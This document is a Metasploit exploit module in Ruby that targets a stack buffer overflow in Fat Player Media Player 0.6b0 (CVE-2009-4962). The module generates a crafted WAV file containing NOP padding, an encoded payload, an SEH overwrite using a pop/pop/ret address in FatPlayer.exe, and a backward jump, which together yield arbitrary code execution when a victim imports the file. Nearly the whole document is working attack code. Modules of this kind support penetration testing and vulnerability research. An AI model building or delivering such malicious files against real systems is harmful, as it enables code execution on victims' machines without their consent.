Fat Player Media Player 0.6b0 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fat Player Media Player 0.6b0 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Fat Player 0.6b. When
          the application is used to import a specially crafted wav file, a buffer overflow occurs
          allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'James Fitts <fitts.james[at]gmail.com>',	# Original Exploit
          'dookie',	# Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2009-4962'],
          [ 'OSVDB', '57343'],
          [ 'EDB', '15279' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x0046bee3 } ],	# p/p/r in FatPlayer.exe
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(100)
    sploit << make_nops(100)
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(3932 - (payload.encoded.length))
    sploit << generate_seh_record(target.ret)
    sploit << "\xe9\x60\xf0\xff\xff"	# Jump back 4000 bytes

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
  end
end